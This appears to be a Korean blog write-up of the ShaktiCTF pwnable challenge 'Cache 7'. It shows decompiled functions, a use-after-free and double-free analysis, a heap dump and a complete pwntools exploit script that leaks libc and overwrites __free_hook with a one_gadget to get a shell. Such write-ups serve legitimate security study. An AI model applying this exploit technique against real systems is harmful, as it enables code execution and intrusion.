보호기법
main함수
int main(void) { long in_FS_OFFSET; int choice; undefined8 canary; canary = *(undefined8 *)(in_FS_OFFSET + 0x28); initialize(); while( true ) { while( true ) { while( true ) { while( true ) { printmenu(); puts("choice :"); __isoc99_scanf(&DAT_00400aa4,&choice); if (choice != 1) break; add(); } if (choice != 2) break; view(); } if (choice != 3) break; delete(); } if (choice == 4) break; puts("Invalid choice"); } /* WARNING: Subroutine does not return */ exit(0); }
add함수
void add(void) { long in_FS_OFFSET; int size; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); puts("enter the size"); __isoc99_scanf("%d",&size); if (size < 0x100) { ptr = (char *)malloc((long)size); puts("Enter data"); read(0,ptr,(long)size); } if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
size는 0xff까지 가능(Dec 255), 데이터도 마찬가지
아마 다음 chunk의 데이터를덮어씌울 수 있는거 같다.
view 함수
void view(void) { puts("Printing the data inside"); puts(ptr); return; }
delete 함수
void delete(void) { puts("Deleting..."); free(ptr); return; }
free 이후 초기화를 해주지 않는다. 따라서 UAF가 발생
또한 가장 마지막으로 할당된 청크부터 해제함
-------------------------------------------------------
크기를 각각 128, 64로 주고 데이터 입력(A*8+B*8 , C*8+D*8)
gef➤ x/40gx 0x602260 0x602260: 0x4141414141414141 0x4242424242424242 0x602270: 0x000000000000000a 0x0000000000000000 0x602280: 0x0000000000000000 0x0000000000000000 0x602290: 0x0000000000000000 0x0000000000000000 0x6022a0: 0x0000000000000000 0x0000000000000000 0x6022b0: 0x0000000000000000 0x0000000000000000 0x6022c0: 0x0000000000000000 0x0000000000000000 0x6022d0: 0x0000000000000000 0x0000000000000000 0x6022e0: 0x0000000000000000 0x0000000000000051 0x6022f0: 0x4343434343434343 0x4444444444444444 0x602300: 0x000000000000000a 0x0000000000000000 0x602310: 0x0000000000000000 0x0000000000000000 0x602320: 0x0000000000000000 0x0000000000000000 0x602330: 0x0000000000000000 0x0000000000020cd1 0x602340: 0x0000000000000000 0x0000000000000000 0x602350: 0x0000000000000000 0x0000000000000000 0x602360: 0x0000000000000000 0x0000000000000000 0x602370: 0x0000000000000000 0x0000000000000000 0x602380: 0x0000000000000000 0x0000000000000000 0x602390: 0x0000000000000000 0x0000000000000000
데이터가 유출
dfg 가능
unsorted bin 릭해주고 주소 구해준 다음 dfg로 fd에 hook을 쓰고 one가젯으로 덮으면 끝
from pwn import * context.log_level = 'debug' context.arch = 'amd64' p = process('./chall') e = ELF('./chall') libc = ELF('./libc-2.27.so') #gdb.attach(p) one_gadget = [0x4f365, 0x4f3c2, 0x10a45c] def add(size, data): p.sendlineafter('choice :\n', '1') p.sendlineafter('size\n', str(size)) p.sendafter('data\n', data) def view(): p.sendlineafter('choice :\n', '2') p.recvuntil('inside\n') def delete(): p.sendlineafter('choice :\n', '3') add(0x20, 'A'*8) add(0xf7, 'B'*0x10) delete() add(0x20, 'C'*8) add(0xf7, 'D'*0x10) for _ in range(7): delete() delete() view() libc_leak = u64(p.recvuntil('\n')[:-1].ljust(8, "\x00")) libc_base = libc_leak - 0x3ebc40 - 96 free_hook = libc_base + libc.symbols['__free_hook'] oneshot = libc_base + one_gadget[1] log.info('libc_leak: ' + hex(libc_leak)) log.info('libc_base: ' + hex(libc_base)) log.info('__free_hook: ' + hex(free_hook)) log.info('one_shot: ' + hex(oneshot)) add(0x30, 'C') delete() delete() add(0x30, p64(free_hook)) add(0x30, 'K') add(0x30, p64(oneshot)) delete() p.interactive()
ShaktiCTF - Cache 7
main함수
add함수
size는 0xff까지 가능(Dec 255), 데이터도 마찬가지
아마 다음 chunk의 데이터를덮어씌울 수 있는거 같다.
view 함수
delete 함수
free 이후 초기화를 해주지 않는다. 따라서 UAF가 발생
또한 가장 마지막으로 할당된 청크부터 해제함
-------------------------------------------------------
크기를 각각 128, 64로 주고 데이터 입력(A*8+B*8 , C*8+D*8)
데이터가 유출
dfg 가능
unsorted bin 릭해주고 주소 구해준 다음 dfg로 fd에 hook을 쓰고 one가젯으로 덮으면 끝
'Pwnable' 카테고리의 다른 글